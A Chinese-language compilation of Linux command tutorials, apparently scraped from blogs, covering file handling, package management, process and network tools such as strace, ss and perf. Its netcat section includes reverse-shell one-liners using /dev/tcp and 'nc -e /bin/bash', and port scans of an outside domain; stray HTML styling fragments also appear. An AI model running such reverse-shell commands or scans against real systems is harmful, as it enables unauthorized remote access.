2015 - 2020 最新 Linux 命令大全
阅读原文时间:2023年07月11日阅读:3

# 2015 - 2020 最新 Linux 命令大全

## VIM

命令模式(Command mode):vi
插入模式(Insert mode):i
底线命令模式(Last line mode):esc + :wq

linux centOS 命令:
man  查看
ctrl+L 清屏
ls 列出文件
ls -a 列出所有文件
pwd 查看当前所在目录
cat xxx  查看xxx文件的内容

shutdown [OPTIONS…][TIME][WALL]
可选参数列表:命令参数,时间,给已经登陆的user发送的shutdown信息

shutdown -now === shutdown +0
shutdown --help 打印一个简短的帮助信息并退出!
shutdown -H 挂起机器
shutdown -P或--poweroff 关机(默认)
shutdown -r 重启机器
shutdown -h 等价于关机,除非halt已经执行
shutdown -c 取消
shutdown -k 不挂起/关机/重启,仅仅等待wall信息
shutdown --no-wall 在挂起/关机/重启前,不发送wall信息

虽然Linux发行版支持各种各样的GUI(graphical user interfaces),但在某些情况下,Linux的命令行接口(bash)仍然是简单快速的。Bash和 Linux Shell 需要输入命令来完成任务,因而被称为命令行接口。

命令是计算机执行任务的指令。可以使用命令去关闭计算机,或者列出当前目录的文件列表,或当前文本的内容,或者屏幕显示一条消息。

如果你是一个新手,并尝试使用命令行接口,我们收集了各种基本的Linux命令来供你学习,帮你在各种Linux发行版中完成各种任务。虽然不是很详细,但是对Linux初学者,或普通用火,或管理员都是很有用的。

ls 会列举出当前工作目录的内容(文件或文件夹),就跟你在GUI中打开一个文件夹去看里面的内容一样。

mkdir <new-directory-name> 常见一个新目录

pwd 显示当前工作目录

对于当前在终端运行的会中中, cd <directory> 将给定的文件夹(或目录)设置成当前工作目录。

rmdir <directory-name> 删除给定的目录。

rm <file-name> 会删除给定的文件或文件夹,可以使用 rm -r <directory-name> 递归删除文件夹

cp <source-file> <destination-file> 命令对文件或文件夹进行复制,可以使用 cp -r <source-folder> <destination-folder> 选项来递归复制文件夹。

mv <source> <destination> 命令对文件或文件夹进行移动,如果文件或文件夹存在于当前工作目录,还可以对文件或文件夹进行重命名。

cat <file> 用于在标准输出(监控器或屏幕)上查看文件内容。

tail <file-name> 默认在标准输出上显示给定文件的最后10行内容,可以使用tail -n N <file-name> 指定在标准输出上显示文件的最后N行内容。

less <file-name> 按页或按窗口打印文件内容。在查看包含大量文本数据的大文件时是非常有用和高效的。你可以使用 Ctrl+F 向前翻页, Ctrl+B 向后翻页。

grep "<string>" <file-name> 在给定的文件中搜寻指定的字符串。 grep -i "<string>" <file-name> 在搜寻时会忽略字符串的大小写,而 grep -r "<string>" <file-name> 则会在当前工作目录的文件中递归搜寻指定的字符串。

这个命令会在给定位置搜寻与条件匹配的文件。你可以使用 find <folder-to-search> -name <file-name> 的 -name 选项来进行区分大小写的搜寻, find <folder-to-search> -iname <file-name> 来进行不区分大小写的搜寻。

find <folder-to-search> -iname <file-name>

tar 命令能创建、查看和提取tar压缩文件。 tar -cvf <archive-name.tar> <file1-OR-file2-OR-both-to-archive> 是创建对应压缩文件, tar -tvf <archive-to-view.tar> 来查看对应压缩文件, tar -xvf <archive-to-extract.tar> 来提取对应压缩文件。

gzip <filename> 命令创建和提取gzip压缩文件,还可以用 gzip -d <filename>来提取压缩文件。

unzip <archive-to-extract.zip> 对gzip文档进行解压。在解压之前,可以使用 unzip -l <archive-to-extract.zip> 命令查看文件内容。

<command-name> --help 会在终端列出所有可用的命令,可以使用任何命令的 -h或 -help 选项来查看该命令的具体用法。

whatis <command-name> 会用单行来描述给定的命令。

man <command-name> 会为给定的命令显示一个手册页面。

exit 用于结束当前的终端会话。

ping <remote-host-address> 通过发送数据包ping远程主机(服务器),常用与检测网络连接和服务器状态。

who 能列出当前登录的用户名。

su <username> 用于切换不同的用户。即使没有使用密码,超级用户也能切换到其它用户。

uname 会显示出关于系统的重要信息,如内核名称、主机名、内核版本、处理机类型等等,使用 uname -a 可以查看所有信息。

free 会显示出系统的空闲内存、已经占用内存、可利用的交换内存等信息, free -m 将结果中的单位转换成KB,而 free –g 则转换成GB。

df 查看文件系统中磁盘的使用情况–硬盘已用和可用的存储空间以及其它存储设备。你可以使用 df -h 将结果以人类可读的方式显示。

ps 显示系统的运行进程。

top 命令会默认按照CPU的占用情况,显示占用量较大的进程,可以使用 nlo, Monaco, Consolas, 'Courier New', monospace; border-radius: 3px; border: none; font-size: 0.92857em; margin: 0px; background-color: rgb(243, 243, 243);">top -u <username> 查看某个用户的CPU使用排名情况。

cal-align: middle; border: 0px none; text-align: center; margin: 0px auto 10px; display: block;" />

shutdown 用于关闭计算机,而 shutdown -r 用于重启计算机。

1

在Fedora上通过命令行使用dnf来管理系统更新基于Linux的系统最美妙的一点,就是你可以在终端中使用命令行来管理整个系统。使用命令行的优势…

在Fedora上通过命令行使用dnf来管理系统更新

基于Linux的系统最美妙的一点,就是你可以在终端中使用命令行来管理整个系统。使用命令行的优势在于,你可以使用相同的知识和技能来管理随便哪个Linux发行版。

对于各个发行版以及桌面环境(DE)而言,要一致地使用图形化用户界面(GUI)却几乎是不可能的,因为它们都提供了各自的用户界面。要明确的是,有些情况下在不同的发行版上需要使用不同的命令来执行某些特定的任务,但是,基本来说它们的思路和目的是一致的。

在本文中,我们打算讨论Linux用户应当掌握的一些基本命令。我将给大家演示怎样使用命令行来更新系统、管理软件、操作文件以及切换到root,这些操作将在三个主要发行版上进行:Ubuntu(也包括其定制版和衍生版,还有Debian),openSUSE,以及Fedora。

让我们开始吧!

保持系统安全和最新

Linux是基于安全设计的,但事实上是,任何软件都有缺陷,会导致安全漏洞。所以,保持你的系统更新到最新是十分重要的。这么想吧:运行过时的操作系统,就像是你坐在全副武装的坦克里头,而门却没有锁。武器会保护你吗?任何人都可以进入开放的大门,对你造成伤害。同样,在你的系统中也有没有打补丁的漏洞,这些漏洞会危害到你的系统。开源社区,不像专利世界,在漏洞补丁方面反应是相当快的,所以,如果你保持系统最新,你也获得了安全保证。

留意新闻站点,了解安全漏洞。如果发现了一个漏洞,了解它,然后在补丁出来的第一时间更新。不管怎样,在生产环境上,你每星期必须至少运行一次更新命令。如果你运行着一台复杂的服务器,那么就要额外当心了。仔细阅读变更日志,以确保更新不会搞坏你的自定义服务。

Ubuntu:牢记一点:你在升级系统或安装不管什么软件之前,都必须要刷新仓库(也就是repos)。在Ubuntu上,你可以使用下面的命令来更新系统,第一个命令用于刷新仓库:

sudo apt-get update

仓库更新后,现在你可以运行系统更新命令了:

sudo apt-get upgrade

然而,这个命令不会更新内核和其它一些包,所以你也必须要运行下面这个命令:

sudo apt-get dist-upgrade

openSUSE:如果你是在openSUSE上,你可以使用以下命令来更新系统(照例,第一个命令的意思是更新仓库):

sudo zypper refresh
sudo zypper up

Fedora:如果你是在Fedora上,你可以使用'dnf'命令,它是zypper和apt-get的'同类':

sudo dnf update
sudo dnf upgrade

软件安装与移除

你只可以安装那些你系统上启用的仓库中可用的包,各个发行版默认都附带有并启用了一些官方或者第三方仓库。

Ubuntu:要在Ubuntu上安装包,首先更新仓库,然后使用下面的语句:

sudo apt-get install [package_name]

样例:

sudo apt-get install gimp

openSUSE:命令是这样的:

sudo zypper install [package_name]

Fedora:Fedora已经废弃了'yum',现在换成了'dnf',所以命令是这样的:

sudo dnf install [package_name]

移除软件的过程也一样,只要把'install'改成'remove'。

Ubuntu:

sudo apt-get remove [package_name]

openSUSE:

sudo zypper remove [package_name]

Fedora:

sudo dnf remove [package_name]

如何管理第三方软件?

在一个庞大的开发者社区中,这些开发者们为用户提供了许多的软件。不同的发行版有不同的机制来将这些第三方软件提供给用户。当然,同时也取决于开发者怎样将这些软件提供给用户,有些开发者会提供二进制包,而另外一些开发者则将软件发布到仓库中。

Ubuntu很多地方都用到PPA(个人包归档),但是,不幸的是,它却没有提供一个内建工具来帮助用于搜索这些PPA仓库。在安装软件前,你将需要通过Google搜索PPA,然后手工添加该仓库。下面就是添加PPA到系统的方法:

sudo add-apt-repository ppa:<repository-name>

样例:比如说,我想要添加LibreOffice PPA到我的系统中。我应该Google该PPA,然后从Launchpad获得该仓库的名称,在本例中它是"libreoffice/ppa"。然后,使用下面的命令来添加该PPA:

sudo add-apt-repository ppa:libreoffice/ppa

它会要你按下回车键来导入密钥。完成后,使用'update'命令来刷新仓库,然后安装该包。

openSUSE拥有一个针对第三方应用的优雅的解决方案。你可以访问software.opensuse.org,一键点击搜索并安装相应包,它会自动将对应的仓库添加到你的系统中。如果你想要手工添加仓库,可以使用该命令:

sudo zypper ar -f url_of_the_repo name_of_repo
sudo zypper ar -f http://download.opensuse.org/repositories/LibreOffice:Factory/openSUSE_13.2/LibreOffice:Factory.repo LOF

然后,刷新仓库并安装软件:

sudo zypper refresh
sudo zypper install libreoffice

Fedora用户只需要添加RPMFusion(包括自由软件和非自由软件仓库),该仓库包含了大量的应用。如果你需要添加该仓库,命令如下:

dnf config-manager --add-repo http://www.example.com/example.repo

一些基本命令

我已经写了一些关于使用CLI来管理你系统上的文件的 文章 ,下面介绍一些基本命令,这些命令在所有发行版上都经常会用到。

拷贝文件或目录到一个新的位置:

cp path_of_file_1 path_of_the_directory_where_you_want_to_copy/

将某个目录中的所有文件拷贝到一个新的位置(注意斜线和星号,它指的是该目录下的所有文件):

cp path_of_files/* path_of_the_directory_where_you_want_to_copy/

将一个文件从某个位置移动到另一个位置(尾斜杠是说放在该目录中):

mv path_of_file_1 path_of_the_directory_where_you_want_to_move/

将所有文件从一个位置移动到另一个位置:

mv path_of_directory_where_files_are/* path_of_the_directory_where_you_want_to_move/

删除一个文件:

rm path_of_file

删除一个目录:

rm -r path_of_directory

移除目录中所有内容,完整保留目录文件夹:

rm -r path_of_directory/*

创建新目录

要创建一个新目录,首先进入到你要创建该目录的位置。比如说,你想要在你的Documents目录中创建一个名为'foundation'的文件夹。让我们使用 cd (即change directory,改变目录)命令来改变目录:

cd /home/swapnil/Documents

(替换'swapnil'为你系统中的用户名)

然后,使用 mkdir 命令来创建该目录:

perl" >
mkdir foundation

你也可以从任何地方创建一个目录,通过指定该目录的路径即可。例如:

mdkir /home/swapnil/Documents/foundation

如果你想要连父目录一起创建,那么可以使用 -p 选项。它会在指定路径中创建所有目录:

mdkir -p /home/swapnil/Documents/linux/foundation

成为root

你或许需要成为root,或者具有sudo权力的用户,来实施一些管理任务,如管理软件包或者对根目录或其下的文件进行一些修改。其中一个例子就是编辑'fstab'文件,该文件记录了挂载的硬盘驱动器。它在'etc'目录中,而该目录又在根目录中,你只能作为超级用户来修改该文件。在大多数的发行版中,你可以通过'su'来成为root。比如说,在openSUSE上,我想要成为root,因为我要在根目录中工作,你可以使用下面的命令之一:

nlo, Consolas, 'Courier New', monospace; color: rgb(51, 51, 51); border-radius: 4px; margin-top: 0px; margin-bottom: 0.75em; line-height: 1.5em; word-break: break-all; word-wrap: break-word; white-space: pre-wrap; border: 1px solid rgba(0, 0, 0, 0.14902); overflow-y: auto; background-color: rgb(246, 246, 246);">
sudo su -

su -

该命令会要求输入密码,然后你就具有root特权了。记住一点:千万不要以root用户来运行系统,除非你知道你正在做什么。另外重要的一点需要注意的是,你以root什么对目录或文件进行修改后,会将它们的拥有关系从该用户或特定的服务改变为root。你必须恢复这些文件的拥有关系,否则该服务或用户就不能访问或写入到那些文件。要改变用户,命令如下:

sudo chown -R 用户:组 文件或目录名

当你将其它发行版上的分区挂载到系统中时,你可能经常需要该操作。当你试着访问这些分区上的文件时,你可能会碰到权限拒绝错误,你只需要改变这些分区的拥有关系就可以访问它们了。需要额外当心的是,不要改变根目录的权限或者拥有关系。

这些就是Linux新手们需要的基本命令。

1

netcat被成为网络工具中的瑞士军刀,之前也没怎么用过,挺惭愧的,那么现在来看看怎么用吧。 udp 和 tcp协议都比较好使,至少在测udp的…

netcat被成为网络工具中的瑞士军刀,之前也没怎么用过,挺惭愧的,那么现在来看看怎么用吧。 udp 和 tcp协议都比较好使,至少在测udp的时候,使用telnet感觉很无力呀。(nc 和 netcat都是一个命令)

参数

nc --version
netcat (The GNU Netcat) 0.7.1
Copyright (C) 2002 - 2003  Giovanni Giacobbi

想要连接到某处: nc [-options] hostname port[s] [ports]
绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
参数:
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u UDP模式
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时 

案例

端口扫描

# nc -z -v 127.0.0.1 1-100
localhost [127.0.0.1] 80 (http) open

telnet 类似的用法,发送一个tcp或者udp包

发送tcp请求到80端口

# nc localhost 80

shell反弹

第一种在ubuntu上试过,第二种是用gun的netcat,比较好使。

机器A : $ nc -l -n -vv -p 8080
机器B:  $ /bin/bash -i > /dev/tcp/127.0.0.1/8080 0<&1 2>&1  (shell反弹)
#另外一种写法,在A上可以反弹B的shell
A:  # netcat -lvvp 4444
B:  # netcat -v 127.0.0.1 4444 -e /bin/bash

模拟httpserver,一个页面

nc -l 8888 < index.html
#这样写只能访问一次哦
while true; do nc -l 8888 < index.html; done
#直接在浏览器中访问就行了

文件传输

这个顺序有点特殊,先执行接受端,然后是发送端在发送

#文件从B->A
#首先在接受端A
# nc -lvvp 4444 > aaaa.txt
#然后在发送端B
# nc -vv 127.0.0.1 4444 < t1.sed

管道符的写法

#文件从 A-B传送
发送A
$ cat backup.iso | nc -l 3333
接受B
$ nc 192.168.0.1 3333 > backup.iso

参考文章

1

top命令监控系统的运行状态,并且可以按照cpu、内存、执行时间进行排序。第一行中,03:30:22是当前时间,up 39 min是系统运行的运行了多…

top命令

监控系统的运行状态,并且可以按照cpu、内存、执行时间进行排序。

第一行中, 03:30:22 是当前时间, up 39 min 是系统运行的运行了多长时间,1 user 指出了当前有几个用户登录到系统, load average 指的是系统负载,这后面的三个值分别是1分钟,5分钟,15分钟的系统负载平均值。

如果仅仅需要第一行中的信息,可以使用 uptime 命令。

第二行中, Task 指出了当前系统有多少个进程,以及各种状态的进程统计信息。

第三行是 %Cpu(s) ,代表了CPU占用比例,其中:

  • us 用户模式( user mode)
  • sy 系统模式( system mode)
  • ni 优先值(low priority user mode( nice ))
  • id 空闲CPU百分比( idle task)
  • wa 等待输入输出的CPU事件百分比(I/O waiting )
  • hi servicing IRQs
  • si servicing soft IRQs
  • st steal (time given to other DomU instances)

ni是优先值(nice value),也就是任务的优先值。优先值为负数,则说明任务有更高的优先级,正数值说明任务有更低的优先级,该值为0意味着进程都优先级没有调整。

最后两行为内存信息,前者 Mem 为物理内存占用信息,后者 Swap 为交换分区占用信息。

使用 -M 参数可以更加友好的显示内存占用信息。默认是以kb展示的,看起来比较费劲,使用 -M 之后会根据数值大小,以G/M为单位展示。

最下面是进程的信息区域:

  • PID 进程的PID
  • USER 用户名,任务属主
  • PR 任务的优先级
  • NI 优先值
  • VIRT 虚拟映像(kb),任务当前使用的虚拟内存数量
  • RES 常驻物理内存占用量,RES=CODE+DATA
  • SHR 共享内存大小(kb)
  • S 进程状态(D-不可中断的睡眠,R-运行,S-睡眠,T-停止,Z-僵尸进程)
  • %CPU CPU使用量
  • %MEM 内存使用量
  • TIME+ CPU时间,百分之一
  • COMMAND 程序名称

参考 linux top命令详解

pgrep/pkill 命令

根据名称或者其它属性查询(发送信号)进程信息。

pgrep 命令根据提供的条件查询进程的pid,查询条件是and方式的,对于同一个选项,使用『,』分隔可以按照or方式查询。

pgrep -u root sshd   # 查询进程名为sshd,并且属主是root的进程
pgrep -u root,daemon # 查询属主是root或者daemon的进程

pkill 使用与 pgrep 类似,不过它不是用来查询进程pid,而是给进程发送信号,默认会发送 SIGTERM 信号。

例如:

$ pgrep -u root named # 查找named进程的pid
$ pkill -HUP syslogd  # 告诉syslogd重新读取配置文件

要查看有哪些信号可用,可以使用 kill -l 列出所有的信号以及其数值。

except命令

  • send 发送一个字符串给进程。
  • expect 等待来自进程返回的字符串。
  • spawn 开始一个命令。

实现控制台SSH直接登陆Linux服务器

#!/usr/bin/expect

set timeout 20

set ip "IP地址"
set user "用户名"
set password "密码"

spawn ssh "$user\@$ip"

expect "$user@$ip's password:"
send "$password\r"

interact

参考

6 Expect Script Examples to Expect the Unexpected (With Hello World)

pstack命令

pstack 是一个shell脚本,用于打印正在运行的进程的栈跟踪信息,它实际上是gstack 的一个链接。

该命令只需要提供一个参数,进程的pid即可。

$ sudo pstack $(pgrep -uroot php-fpm)
[sudo] password for guanyy:
#0  0x000000380d8e86f3 in __epoll_wait_nocancel () from /lib64/libc.so.6
#1  0x00000000007ec4a4 in fpm_event_epoll_wait ()
#2  0x00000000007e1517 in fpm_event_loop ()
#3  0x00000000007dc887 in fpm_run ()
#4  0x00000000007e3bd8 in main ()

pstack 是gdb的一部分,如果系统没有pstack命令,使用yum搜索安装 gdb 即可。

strace命令

strace 命令用于跟踪系统调用和信号。主要用于诊断,调试程序,使用该命令能够打印出进程执行的系统调用信息。

在 Mac 下使用 dtruss 命令代替

找出应用程序启动时读取的配置文件

$ strace php 2>&1 | grep php.ini
open("/usr/local/bin/php.ini", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/local/lib/php.ini", O_RDONLY) = 4
lstat64("/usr/local/lib/php.ini", {st_mode=S_IFLNK|0777, st_size=27, ...}) = 0
readlink("/usr/local/lib/php.ini", "/usr/local/Zend/etc/php.ini", 4096) = 27
lstat64("/usr/local/Zend/etc/php.ini", {st_mode=S_IFREG|0664, st_size=40971, ...}) = 0

这里的 2>&1 是将标准错误输出重定向到标准输出。

查找为什么程序没有打开指定文件

$ strace -e open,access 2>&1 |grep your-filename

-e 参数指定了一个限定表达式用于指定要跟踪的事件和如何跟踪它们。

[qualifier=][!]value1[,value2]...

这里的 qualifier 可选值为: trace , abbrev , verbose , raw , signal ,read , write 。默认的 qualifier 是 trace 。

查看进程正在执行什么操作

root@dev:~# strace -p 15427
Process 15427 attached - interrupt to quit
futex(0x402f4900, FUTEX_WAIT, 2, NULL
Process 15427 detached

-p 指定了strace跟踪的进程的pid,这样就避免了每次执行strace时需要重启程序。

查看进程的哪些操作比较耗时

root@dev:~# strace -c -p 11084
Process 11084 attached - interrupt to quit
Process 11084 detached
% time     seconds  usecs/call     calls    errors syscall
------ ----------- ----------- --------- --------- ----------------
 94.59    0.001014          48        21           select
  2.89    0.000031           1        21           getppid
  2.52    0.000027           1        21           time
------ ----------- ----------- --------- --------- ----------------
100.00    0.001072                    63           total

-c 参数用于统计进程做了哪些系统调用,调用的时间统计等,并对这些信息做一个汇总显示。

查看为什么xxx无法连接到服务器

$ strace -e poll,select,connect,recvfrom,sendto nc www.news.com 80
sendto(3, "\\24\\0\\0\\0\\26\\0\\1\\3\\255\\373NH\\0\\0\\0\\0\\0\\0\\0\\0", 20, 0, {sa_family=AF_NETLINK, pid=0, groups=00000000}, 12) = 20
connect(3, {sa_family=AF_FILE, path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
connect(3, {sa_family=AF_FILE, path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
...

参考 5 simple ways to troubleshoot using Strace

nc命令

该命令用于创建任意的TCP/UDP连接或者是监听连接。

建立一个基本的C/S模型(文件远程复制)

在Server1上,使用nc命令创建一个服务端:

server1 $ nc -l 1234

在Server2上,使用nc作为客户端连接到server1

server2 $ nc server1的IP地址 1234

这样就建立起一个简单的C/S连接,在server2中输入任何内容,在server1都可以接受到(同步显示)。

上面的例子可以改造实现文件远程发送

server1 $ nc -l 1234 > filename.out

在server2上

server2 $ nc server1的IP地址 1234 < filename.in

-l 指定了nc应该作为server端监听指定的端口

模拟HTTP请求

# echo -n "GET / HTTP/1.0\r\n\r\n" | nc php.net 80
HTTP/1.1 400 Bad Request
Server: nginx/1.6.2
Date: Tue, 16 Dec 2014 08:09:35 GMT
Content-Type: text/html
Content-Length: 172
Connection: close

<html>
<head><title>400 Bad Request</title></head>
<body bgcolor="white">
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/1.6.2</center>
</body>
</html>

端口扫描

端口扫描的作用还是比较大的,使用 nc 可以方便的进行端口扫描。

# nc -z letv.com 1-100
Connection to letv.com 22 port [tcp/ssh] succeeded!
Connection to letv.com 80 port [tcp/http] succeeded!

这里的 1-100 指定了扫描的端口范围, -z 参数告诉nc命令只报告开放的端口。

默认 nc 命令发送的是tcp请求,通过指定参数 -u 可以发送udp请求。

目录传输

下面例子中,将server2的phpredis-master目录拷贝到server1。

server1:

# nc -l 1234|tar zxvf -

server2:

# tar zcvf - phpredis-master|nc server1的IP地址 1234

参考 Linux nc命令详解

pstree命令

该命令用于显示进程树,以树的形式显示正在运行的进程,树的根节点是指定的pid(忽略则为init进程)。

[root@cdn ~]# pstree -p $(pgrep -uroot php-fpm)
php-fpm(5445)─┬─php-fpm(5446)
  ├─php-fpm(5447)
  ├─php-fpm(5448)
  ├─php-fpm(7540)
  ├─php-fpm(21639)
  └─php-fpm(24727)

ss命令

ss 命令用于显示socket的统计信息。

显示socket的汇总信息

-s 选项用于显示汇总信息。

# ss -s
Total: 247 (kernel 290)
TCP:   214 (estab 68, closed 130, orphaned 0, synrecv 0, timewait 130/0), ports 135

Transport Total     IP        IPv6
*     290       -         -
RAW   0         0         0
UDP   11        7         4
TCP   84        81        3
INET      95        88        7
FRAG      0         0         0

查看所有打开的网络端口

-l 选项用于列出当前正在监听的socket。

# ss -l
State      Recv-Q Send-Q      Local Address:Port          Peer Address:Port
LISTEN     0      128             127.0.0.1:smux                     *:*
LISTEN     0      128             127.0.0.1:9000                     *:*
LISTEN     0      50                      *:3306                     *:*
LISTEN     0      1024                   :::11211                   :::*

使用 ss -pl 可以查看使用网络端口的进程名称,这里的 -p 选项用于显示进程信息。

# ss -pl
State      Recv-Q Send-Q      Local Address:Port          Peer Address:Port
LISTEN     0      128             127.0.0.1:smux                     *:*        users:(("snmpd",1256,8))
LISTEN     0      50                      *:3306                     *:*        users:(("mysqld",17651,10))
LISTEN     0      1024                   :::11211                   :::*        users:(("memcached",1849,34))
LISTEN     0      1024                    *:11211                    *:*        users:(("memcached",1849,33))
LISTEN     0      511             127.0.0.1:6379                     *:*        users:(("redis-server",1403,4))

使用 ss -pl|grep 端口号 查看端口被那个进程占用。

显示所有的TCP/UDP Socket

参数 -a ( --all )用于显示所有的socket, -t 指的是TCP, -u 是UDP, -w 是RAW, -x 是UNIX。

# ss -t -a
# ss -u -a
# ss -w -a
# ss -x -a

参考

ss: Display Linux TCP / UDP Network and Socket Information

w/who命令

w 命令用于查看当前哪些用户登录到系统和他们正在做什么, who 命令仅用于查看哪些用户登录系统。

# w
 15:39:08 up 126 days, 22:35,  3 users,  load average: 0.02, 0.05, 0.02
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    10.58.92.228     13:29    1:35m  0.03s  0.03s -bash
root     pts/1    10.58.93.56      10:32    5:06m  0.00s  0.00s -bash
root     pts/4    10.58.88.20      12:29    0.00s  0.20s  0.00s w
# who
root     pts/0        2014-12-18 13:29 (10.58.92.228)
root     pts/1        2014-12-18 10:32 (10.58.93.56)
root     pts/4        2014-12-18 12:29 (10.58.88.20)

iostat

报告CPU的统计信息,设备、分区、网络文件系统(NFS)的I/O统计信息。

# iostat
Linux 2.6.32-903.279.9.1.el6.x86_64 (localhost)     2014年12月18日 _x86_64_    (2 CPU)
avg-cpu:  %user   %nice %system %iowait  %steal   %idle
  0.35    0.00    0.34    0.42    0.15   98.74
Device:     tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn
vda        4.01         0.35        56.76    3866731  622586087
dm-0       3.29         0.09        26.33     989378  288796192
dm-1       3.45         0.05        27.60     554922  302727584
dm-2       0.32         0.21         2.83    2296845   31060799

这里对几个性能指标进行解释:

  • tps 每秒发送的I/O请求数
  • Blk_read/s 每秒读取的block数
  • Blk_wrtn/s 每秒写入的block数
  • Blk_read 读取的block数
  • Blk_wrtn 写入的block数

通过指定 -d 参数可以设定自动按照指定时间间隔显示统计信息。例如,下列命令每隔2s显示一次。

$ iostat -d 2

iptraf 命令:实时网络统计

交互式的IP网络实时监控工具,图形化界面,比较方便。

# iptraf

界面如下:

参考 20 Linux System Monitoring Tools Every SysAdmin Should Know

1

上接实用Linux命令(一)。查看Linux的版本(Red Hat/Cent OS)在RedHat和Cent OS下,使用如下命令查看当前系统的版本。$ cat /etc/cent…

上接实用Linux命令(一)。

查看Linux的版本(Red Hat/Cent OS)

在RedHat和Cent OS下,使用如下命令查看当前系统的版本。

$ cat /etc/centos-release
CentOS release 6.3 (Final)

time命令: 统计程序执行时间

用于统计程序执行时间,这些事件包含程序从被调用到终止的时间,用户CPU时间,系统CPU时间。

$ time ls
bakup                PDO-1.0.3.tgz     rinetd.tar.gz     yaf-2.2.9.tgz
channel.xml          package2.xml      PDO_MYSQL-1.0.2      xhprof-0.9.4      zendopcache-7.0.3
go-pear.phar         package.xml       PDO_MYSQL-1.0.2.tgz  xhprof-0.9.4.tgz  zendopcache-7.0.3.tgz
PDO-1.0.3            rinetd            yaf-2.2.9

real    0m0.002s
user    0m0.000s
sys 0m0.001s

tee命令

tee 命令用于将标准输入拷贝到标准输出。

$ echo "hello,world"|tee -a test.txt

上述命令将hello,world字符串输出到test.txt文件中, -a 默认情况下, tee 命令会使用> 覆盖输出到文件,使用-a属性,会使用 >> 追加方式

netstat命令

查看端口占用情况

# netstat -apn
  • -a (--all) 显示所有的socket信息(包括监听和未监听)
  • -p (--program) 显示每个socket所属于的进程名称和PID
  • -n (--numeric) 显示数字形式的地址而不是符号化的主机名、端口或者用户名

perf命令

perf 命令是随Linux内核代码一同发布和维护的性能诊断工具,由内核社区负责维护和发展。Perf不仅可以用于应用程序性能统计分析,也可以应用于内核代码的的性能统计和分析。

在Cent OS系统上,如果没有该命令的话,可以使用yum进行安装。

# yum install perf

perf 命令非常强大,详细介绍的话篇幅比较长,可以阅读这篇文章 Perf -- Linux下的系统性能调优工具 。

用法: perf [--version] [--help] COMMAND [ARGS]

 最常用的perf命令:
   annotate        读取perf.data (使用perf record创建)文件并且显示标注的代码
   archive         Create archive with object files with build-ids found in perf.data file
   bench           进行基准测试的框架工具集
   buildid-cache   Manage build-id cache.
   buildid-list    List the buildids in a perf.data file
   diff            Read perf.data files and display the differential profile
   evlist          List the event names in a perf.data file
   inject          Filter to augment the events stream with additional information
   kmem            Tool to trace/measure kernel memory(slab) properties
   kvm             Tool to trace/measure kvm guest os
   list            列出所有事件类型的符号
   lock            分析锁事件
   mem             分析对内存的访问
   record          运行一个命令并且记录它的分析结果到perf.data文件中
   report          读取perf.data文件并且显示分析结果
   sched           Tool to trace/measure scheduler properties (latencies)
   script          Read perf.data (created by perf record) and display trace output
   stat            运行一个命令并且收集性能计数统计信息
   test            运行可用性测试
   timechart       Tool to visualize total system behavior during a workload
   top             系统分析工具.
   trace           受strace启发创建的工具
   probe           定义一个新的动态跟踪点

 See 'perf help COMMAND' for more information on a specific command.

perf stat

perf stat 通过概括精简的方式提供被调试程序运行的整体情况和汇总数据。

创建如下C程序test.c

#include <stdio.h>
int main()
{
  int i = 1;
  while (1) {
    if (i == 100000) break;
    i ++;
  }
  return 0;
}

编译 gcc test.c -o test 。

$ perf stat ./test
 Performance counter stats for './test':
     0.837322 task-clock          #    0.747 CPUs utilized
       1 context-switches       #    0.001 M/sec
       0 CPU-migrations         #    0.000 M/sec
      98 page-faults         #    0.117 M/sec
      269,259 cycles              #    0.322 GHz            [90.39%]
      897,270 stalled-cycles-frontend   #  333.24% frontend cycles idle
      226,746 stalled-cycles-backend    #   84.21% backend  cycles idle
      764,602 instructions        #    2.84  insns per cycle
               #    1.17  stalled cycles per insn
      267,843 branches            #  319.881 M/sec
        3,467 branch-misses          #    1.29% of all branches      [80.37%]
  0.001121130 seconds time elapsed

第一个 task-clock 是CPU利用率,该值比较高,说明该程序属于CPU密集型。第二个 context-switches 是进程上下文切换次数,频繁的切换次数应该是要避免的。

perf top

用于实时显示当前系统的性能统计信息。该命令主要用来观察整个系统当前的状态,比如可以通过查看该命令的输出来查看当前系统最耗时的内核函数或某个用户进程。

执行该命令需要root权限。

使用方法如下

$ sudo perf top

程序会与top命令类似,动态输出以下内容

Samples: 1K of event 'cpu-clock', Event count (approx.): 8071695
 39.60%  [kernel]             [k] __do_softirq
 13.46%  [kernel]             [k] _raw_spin_unlock_irqrestore
  9.37%  [kernel]             [k] VbglGRPerform
  8.47%  [kernel]             [k] e1000_xmit_frame
  6.01%  [kernel]             [k] finish_task_switch
  5.82%  [kernel]             [k] e1000_clean
  5.15%  [kernel]             [k] native_read_tsc
  4.75%  [kernel]             [k] kmem_cache_free
  1.32%  [kernel]             [k] tick_nohz_idle_enter
  1.28%  libc-2.17.so         [.] __strstr_sse2
  1.22%  libc-2.17.so         [.] __memset_sse2
  0.82%  libc-2.17.so         [.] __GI___strcmp_ssse3
  0.42%  libpython2.7.so.1.0  [.] 0x000000000007e7c6
  0.42%  libc-2.17.so         [.] __strchrnul
  0.39%  [kernel]             [k] e1000_alloc_rx_buffers
  0.38%  libz.so.1.2.7        [.] 0x0000000000002d76
  0.24%  [kernel]             [k] tick_nohz_idle_exit
  0.21%  [kernel]             [k] kfree

perf report/record

使用 top 和 stat 之后,您可能已经大致有数了。要进一步分析,便需要一些粒度更细的信息。比如说您已经断定目标程序计算量较大,也许是因为有些代码写的不够精简。那么面对长长的代码文件,究竟哪几行代码需要进一步修改呢?这便需要使用 perf record 记录单个函数级别的统计信息,并使用 perf report 来显示统计结果。

创建新的C程序test3,代码如下

#include <stdio.h>

void test();

int main()
{
  test();
